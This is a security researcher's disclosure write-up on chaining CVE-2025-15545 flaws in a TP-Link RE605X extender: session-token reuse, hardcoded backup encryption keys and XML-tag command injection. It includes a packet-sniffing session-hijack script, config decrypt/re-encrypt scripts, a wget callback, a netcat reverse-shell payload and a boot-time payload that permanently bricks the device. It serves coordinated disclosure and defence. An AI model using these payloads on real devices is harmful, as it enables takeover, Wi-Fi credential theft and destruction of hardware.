Discovering and Chaining Vulnerabilities in a TP-Link Range Extender (CVE-2025-15545) — A Research Walkthrough
Description
During the research process on the TP-Link Archer RE605X range extender, multiple security issues were identified.An initial weakness in the control panel authentication mechanism allows an adjacent unauthenticated attacker to intercept session cookies and CSRF tokens of an active user and reuse them to gain administrative access to the device. This issue is described as an additional finding observed during the research and is not included in the official CVE advisory.In addition, two vulnerabilities affecting the firmware backup and restore functionality were discovered. The use of hardcoded cryptographic keys allows authenticated attackers to decrypt, modify, and re-encrypt configuration files, leading to sensitive information disclosure and configuration tampering. Furthermore, insufficient validation of XML tags during configuration parsing allows authenticated attackers to achieve remote code execution as root on the device. These issues are covered by CVE-2025-15545.
Affected
- Device: TP-Link Archer RE605X
- Vendor’s website: TP-Link
- Firmware version: RE605X(EU)_V3_1.1.5 Build 20240905
- Hardware version: RE605X v3.0
- Firmware download address: TP-Link
The reported vulnerabilities have been patched by TP-Link on firmware version RE605X(EU)_V3_20260113.
Impact
The successful exploitation of the full vulnerability chain allows an authenticated attacker on the local network to fully compromise the device and potentially cause permanent denial of service.
CVSS 4.0 Score: 7.3 (High)
CVSS:4.0/AV:A/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Local network access required
- Authentication required
- No user interaction required
- Temporary or permanent denial of service
- Full device compromise
Technical Walkthrough
I decided to analyze the RE605X device mainly for two reasons: I already had it available at home, and given its similarity to a router — both in functionality and in the presence of a web-based control panel — I expected the attack surface to be reasonably broad.
Control Panel Analysis
The first component I looked into was the device control panel, which is exposed through an embedded HTTP web server and becomes accessible after authentication.
CSRF Token Reuse
One of the first aspects that caught my attention was how the device handles user authentication.
On the RE605X, authentication relies on a session cookie (sysauth) and a CSRF token (stok), both of which are required to authorize each HTTP request performed by an authenticated user.
While inspecting the HTTP traffic with BurpSuite, I noticed that the same CSRF token value was reused across multiple different requests, rather than being regenerated or scoped to specific actions.
One such request is shown below:
POST /cgi-bin/luci/;stok=10f1589c03c3698014cd6aec57e4562a/locale?form=list HTTP/1.1
Host: 192.168.1.176
Content-Length: 14
Cache-Control: max-age=0
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
If-Modified-Since: 0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.1.176
Referer: http://192.168.1.176/webpages/index.html?v=27da7fb562
Accept-Encoding: gzip, deflate, br
Cookie: sysauth=714103f2c81a2fdd3112a196ae803fd7
Connection: keep-alive
operation=read
This behavior, paired with the use of unencrypted HTTP, suggested that an adjacent attacker could intercept both values and reuse them to gain temporary authenticated access to the control panel.
While exploring the available features, one functionality stood out in particular: the backup and restore mechanism.
This feature allows an authenticated user to generate, download, and later re-upload a configuration file (config.bin) to restore the device state.
Given that file upload mechanisms are often a sensitive attack surface, I decided to investigate how this feature was implemented.
Filesystem Extraction
I started by downloading the firmware from the vendor’s official website, decompressing it, and analyzing it with binwalk:
$ binwalk firmware.bin
/home/nico/pentesting/firmware.bin
--------------------------------------------------------------
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------
6164 0x1814 UBI image,
version: 1,
image size: 22020096 bytes
--------------------------------------------------------------
Since the UBI image does not start at offset 0, I extracted it into a separate file using dd for easier analysis:
$ dd if=firmware.bin of=ubimage.img bs=1 skip=6164
The extracted image was then inspected using ubi_reader, revealing two volumes: kernel and ubi_rootfs:
$ mkdir volumes
$ ubireader_extract_images -o volumes ubimage.img
$ ls volumes/ubimage.img/
img-1108066141_vol-kernel.ubifs img-1108066141_vol-ubi_rootfs.ubifs
The ubi_rootfs volume turned out to be a standard SquashFS filesystem, so I unpacked it using unsquashfs: the filesystem was finally obtained.
$ unsquashfs img-1108066141_vol-ubi_rootfs.ubifs
Parallel unsquashfs: Using 12 processors
1639 inodes (1429 blocks) to write
created 1336 files
created 187 directories
created 302 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 0 hardlinks
$ ls squashfs-root/
bin/ data/ dev/ etc/ fw_data/ ini/ init* lib/ mnt/ overlay/
proc/ rom/ root/ sbin/ sys/ tmp/ tp_data/ usr/ var@ www/
Firmware Reverse Engineering
After exploring the extracted filesystem, it became clear that the device uses a LuCI-based architecture. Incoming HTTP requests are routed through Lua components and then dispatched to the corresponding backend scripts or binaries responsible for handling the requested action.
Hardcoded Crypto Keys
The second vulnerability relates to the presence of hardcoded cryptographic material inside the file /usr/lib/lua/luci/model/crypto.lua:
32 local dft_key = "<HARDCODED_KEY_REDACTED>"
33 local dft_iv = "<HARDCODED_IV_REDACTED>"
This Lua module is used to encrypt and decrypt configuration files during backup and restore operations. The goal is to prevent users from reading the configuration directly and to implement a basic integrity check before processing uploaded files.
Through reverse engineering, I reconstructed the encryption and decryption algorithms used by the device:
# Encryption: config.xml -> config.bin
config.bin = AES_ENC(ZLIB_COM(MD5_ADD(AES_ENC(ZLIB_COM(config.xml)))))
# Decryption: config.bin -> config.xml
config.xml = ZLIB_DEC(AES_DEC(MD5_REM(ZLIB_DEC(AES_DEC(config.bin)))))
Where:
AES_ENC()/AES_DEC()represent an AES encryption/decryption operationZLIB_COM()/ZLIB_DEC()represent a zlib compression/decompression operationMD5_ADD()represents the operation of adding the MD5(product_name) hash value as headerMD5_REM()removes the first 16 bytes header from the file corresponding to the MD5 hashproduct_nameis the “RE605X” stringconfig.xmlis the plaintext device configuration file, in XML formatconfig.binis the encrypted configuration file
The MD5(product_name) value acts as a lightweight integrity check: during upload, the device verifies that the decrypted header matches the expected product identifier.
If the check fails, the file is discarded.
Despite this mechanism, an authenticated attacker who obtains the hardcoded dft_key, dft_iv, and product_name values can fully bypass these protections.
An attacker could:
- Decrypt configuration files and extract sensitive information
- Modify and re-encrypt configuration files to apply arbitrary changes
- Craft malformed configuration files that bypass validation and potentially cause denial of service
Command Injection
Continuing the analysis of the configuration processing logic, I identified a command injection vulnerability inside /usr/lib/lua/luci/sys/config.lua.
The xmlToFile() function found inside it implements a custom XML parser based on a state machine.
The basic steps of xmlToFile() are the following:
- The function opens a
config.xmlfile - The function reads through the XML tags inside the file
- Depending on the current state and the currently processed XML tag, files or folders are created inside a specific path
When processing XML tags in the dir state, directories are created using the tag name without any sanitization:
226 local stepaddentry = {
227 ['dir'] = function(data, mov)
228 os.execute('mkdir ' .. filepath .. '/' .. data)
Because the tag name (inside the data variable) is concatenated directly into an os.execute() call, an attacker could inject arbitrary shell commands via a crafted XML tag.
Combined with the previously identified vulnerabilities, this could lead to reliable remote code execution.
Vulnerabilities Validation
At this stage, I developed a proof of concept for each discovered vulnerability in order to validate it and better understand its real-world impact.
Authentication Bypass via CSRF Token Reuse
To validate the CSRF token reuse vulnerability, I performed a Man-in-the-Middle attack between an authenticated user and the device.
I developed a Python script, session_hijacking.py, which intercepts HTTP traffic and extracts both the CSRF token (stok) and the session cookie (sysauth) used by the device for authentication.
72 def packet_callback(packet):
73 global stok_value, sysauth_value, already_executed
74
75 if packet.haslayer(TCP) and packet.haslayer(Raw):
76 payload = packet[Raw].load.decode(errors="ignore")
77
78 stok_match = re.search(PATTERN_STOK, payload)
79 cookie_match = re.search(PATTERN_SYSAUTH, payload)
80
81 if stok_match:
82 stok_value = stok_match.group(1)
83 if cookie_match:
84 sysauth_value = cookie_match.group(1)
85
86 if stok_value and sysauth_value:
87 print("\n[+] Credentials intercepted:")
88 print(f" stok: {stok_value}")
89 print(f" sysauth: {sysauth_value}")
90 send_http_request(stok_value, sysauth_value, op)
# Only part of the PoC script is shown here
The packet_callback function is triggered for each intercepted packet exchanged between the user and the device.
When both authentication values are detected, they are printed and immediately reused to send an HTTP request to the device.
The device accepts the request as legitimate, confirming that intercepted CSRF tokens and session cookies can be reused to gain authenticated access to the control panel.
Note: This issue is not covered by the CVE-2025-15545 advisory. As part of the remediation process, HTTPS was enabled by default on the management interface, mitigating the risk of session credential interception on the local network.
Information Disclosure and Configuration Tampering
To validate the impact of the hardcoded cryptographic keys, I developed a Bash script to decrypt a downloaded configuration file:
#!/bin/bash
KEY="<HARDCODED_KEY_REDACTED>"
IV="<HARDCODED_IV_REDACTED>"
openssl aes-256-cbc -d -in config.bin -K $KEY -iv $IV > Config.zlib # AES_DEC()
zlib-flate -uncompress < Config.zlib > Config # ZLIB_DEC()
dd if=Config of=Configg bs=1 skip=16 # MD5_REM()
openssl aes-256-cbc -d -in Configg -K $KEY -iv $IV > Configgg # AES_DEC()
zlib-flate -uncompress < Configgg > config.xml # ZLIB_DEC()
rm ./Configgg ./Configg ./Config ./Config.zlib
The script follows the previously reverse engineered encryption and decryption logic and uses the extracted cryptographic material to decrypt config.bin into its plaintext form.
Running the script successfully produces config.xml.
The decrypted file contains a significant amount of sensitive information, including system settings and Wi-Fi credentials:
<apCfg name="settings2">
<wep_weppassword>vsm…[redacted]…Frf</wep_weppassword>
<apBssEnabledApMode>on</apBssEnabledApMode>
<ent_encryption>0</ent_encryption>
<wlanSecType>1</wlanSecType>
<apHideSSID>off</apHideSSID>
<wep_wepKeyFormat>0</wep_wepKeyFormat>
<wep_wepKeyIndex>0</wep_wepKeyIndex>
<ent_radiusIp>0</ent_radiusIp>
<ent_wpaVersion>0</ent_wpaVersion>
<psk_wpaVersion>2</psk_wpaVersion>
<psk_keyUpdatePeriod>0</psk_keyUpdatePeriod>
<ent_keyUpdatePeriod>0</ent_keyUpdatePeriod>
<apBssEnabled>on</apBssEnabled>
<password>vsm…[redacted]…Frf</password>
<apHideSSIDApMode>off</apHideSSIDApMode>
<ent_radiusPort>0</ent_radiusPort>
<wep_wepAuthType>0</wep_wepAuthType>
<psk_wpaEncryption>2</psk_wpaEncryption>
<localApSsid>TIM-29468795</localApSsid>
</apCfg>
<!-- Only part of the config.xml file is shown here -->
Even if the attacker is already connected to one of the two Wi-Fi networks provided by the device, they can retrieve the credentials of the other network, which may be configured with different access settings. This represents a clear information disclosure of sensitive data.
To validate configuration tampering, I then developed a complementary Bash script to encrypt a modified configuration file before uploading it back to the device:
#!/bin/bash
KEY="<HARDCODED_KEY_REDACTED>"
IV="<HARDCODED_IV_REDACTED>"
MD5_PRODUCT_NAME='\x80\x47\xa8\x59\xa1\x38\x8b\x7c\x6e\x3b\x63\x9e\x09\x26\x00\x56'
zlib-flate -compress < config.xml > Configgg # ZLIB_COM()
openssl aes-256-cbc -e -in Configgg -K $KEY -iv $IV > Configg # AES_ENC()
(printf "$MD5_PRODUCT_NAME"; cat Configg) > Config.zlib # MD5_ADD()
zlib-flate -compress < Config.zlib > Config.bin # ZLIB_COM()
openssl aes-256-cbc -e -in Config.bin -K $KEY -iv $IV > config.bin # AES_ENC()
rm -f Configgg Configg Config.bin Config.zlib
Using the same approach, I modified an existing configuration file to apply arbitrary changes.
In this example, I changed the SSH service port from 22 to 24:
<dropbear>
<dropbear>
<RootPasswordAuth>on</RootPasswordAuth>
<Port>24</Port>
<SysAccountLogin>off</SysAccountLogin>
<PasswordAuth>on</PasswordAuth>
</dropbear>
</dropbear>
After encrypting and uploading the modified configuration file, the change was confirmed via network scanning:
$ nmap 192.168.1.254 -p24
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-17 17:02 +0200
Nmap scan report for 192.168.1.254
PORT STATE SERVICE
24/tcp open priv-mail # Port 24 was previously closed
Remote Command Execution on the Device
To validate the command injection vulnerability, I appended a crafted payload to a decrypted config.xml file.
The payload causes the device to create a directory named pwn and then execute a wget command:
<pwn; wget 192.168.1.100;>
<easymesh>
<status name="status">
<sync_status>0</sync_status>
</status>
</easymesh>
</pwn; wget 192.168.1.100;>
After encrypting and uploading the modified configuration file, I observed incoming HTTP requests on a listener running on my machine at 192.168.1.100, confirming that arbitrary commands were executed on the device during configuration parsing:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.254 - - [17/Aug/2025 16:40:07] "GET / HTTP/1.1" 200 -
192.168.1.254 - - [17/Aug/2025 16:40:07] "GET / HTTP/1.1" 200 -
# Two GET requests indicate that the device processes the configuration file twice
Exploitation
After validating all the vulnerabilities individually, I evaluated their combined impact by chaining them together into realistic exploitation scenarios.
Reverse Shell as Root
By abusing the command injection vulnerability (chained with the configuration tampering vulnerability), I was able to obtain a reverse shell with root privileges on the device.
This was achieved by appending the following payload to a decrypted config.xml file, encrypting it again, and uploading it to the device:
<pwn; rm -f /tmp/f; mkfifo /tmp/f; sh < /tmp/f | nc 192.168.1.100 4444 > /tmp/f; sleep 20;>
<easymesh>
<status name="status">
<sync_status>0</sync_status>
</status>
</easymesh>
</pwn; rm -f /tmp/f; mkfifo /tmp/f; sh < /tmp/f | nc 192.168.1.100 4444 > /tmp/f; sleep 20;>
The injected command uses netcat to establish a connection to the attacker machine and redirects standard input and output to a shell through a FIFO file.
The sleep instruction ensures that the device does not reboot after the connection is closed.
Once the configuration file was processed, a reverse shell was successfully obtained:
$ nc -lvnp 4444
Connection from 192.168.0.254:42762
# ls
cgi-bin
index-notice.html
index-url.html
index.html
webpages
# id -un
root
# uname -n
OpenWrt
This confirms full remote code execution with root privileges.
Denial of Service (DoS)
Using the second vulnerability, I was able to brick the device using two different methods: one resulting in a temporary denial of service and the other causing a permanent brick.
Appending the following payload to a configuration file causes the device to crash during configuration parsing, requiring a manual reset via the physical reset button:
<file>
<path>/etc/dropbear/authorized_keys</path>
<content>
a
</content>
</file>
The crash occurs due to the way the device processes the crafted XML tags. After the crash, the device becomes unresponsive until it is manually reset.
The permanent denial-of-service scenario requires the following additional steps:
- Obtain arbitrary command execution on the device
- Download and decrypt the
/tp_data/user_data/user-configfile - Append the payload shown below
- Encrypt the file and upload it back to the device
- Upload a
backdoor.luafile to the device
<pwn; lua /tp_data/user_data/backdoor.lua &>
<easymesh>
<status name="status">
<sync_status>0</sync_status>
</status>
</easymesh>
</pwn; lua /tp_data/user_data/backdoor.lua &>
Warning: This payload causes the device to become permanently unresponsive.
This behavior was discovered while attempting to deploy a persistent backdoor.
The user-config file acts as a hook during the boot process: upon startup, the device processes the saved configuration file and executes the injected command.
Because the command fails to complete successfully, the boot process never finishes, leaving the device permanently bricked.
Final Notes on Exploitation
These exploitation scenarios demonstrate that the identified vulnerabilities can be reliably chained to achieve:
- Full root compromise of the device
- Temporary or permanent denial of service
Disclosure Timeline
| Date | Action |
|---|---|
| 12 Aug 2025 | Initial vulnerability report submitted to TP-Link |
| 14 Aug 2025 | Report acknowledged by TP-Link and internal analysis initiated |
| 20 Aug 2025 | TP-Link requests additional technical clarifications following preliminary analysis |
| 23 Aug 2025 | Additional clarifications and confirmations provided to TP-Link |
| 09 Sep 2025 | TP-Link confirms the vulnerabilities and begins validation and mitigation activities |
| 22 Jan 2026 | Patched firmware addressing the reported issues is released |
| 27 Jan 2026 | CVE-2025-15545 is assigned |
| 29 Jan 2026 | CVE record and TP-Link advisory are published |
References
- CVE Program, “CVE-2025-15545”, https://www.cve.org/cverecord?id=CVE-2025-15545
- TP-Link, “Security Advisory for CVE-2025-15545”, https://www.tp-link.com/us/support/faq/4929/
- Xernary, “CVE-2025-15545 Proof of Concept”, https://www.github.com/Xernary/CVE-2025-15545